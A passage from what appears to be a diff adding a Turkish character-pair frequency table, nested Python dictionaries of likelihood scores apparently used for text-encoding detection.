'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 18: { # 'f' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 1, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 1, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 27: { # 'g' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 25: { # 'h' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 3: { # 'i' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 1, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 3, # 'g' + 25: 1, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 24: { # 'j' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 10: { # 'k' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 2, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 5: { # 'l' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 1, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 2, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 13: { # 'm' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 2, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 4: { # 'n' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 15: { # 'o' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 2, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 2, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 2, # 'ş' + }, + 26: { # 'p' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 7: { # 'r' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 1, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 8: { # 's' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 9: { # 't' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 14: { # 'u' + 23: 3, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 2, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 2, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 32: { # 'v' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 57: { # 'w' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 1, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 58: { # 'x' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 11: { # 'y' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 1, # 'Z' + 1: 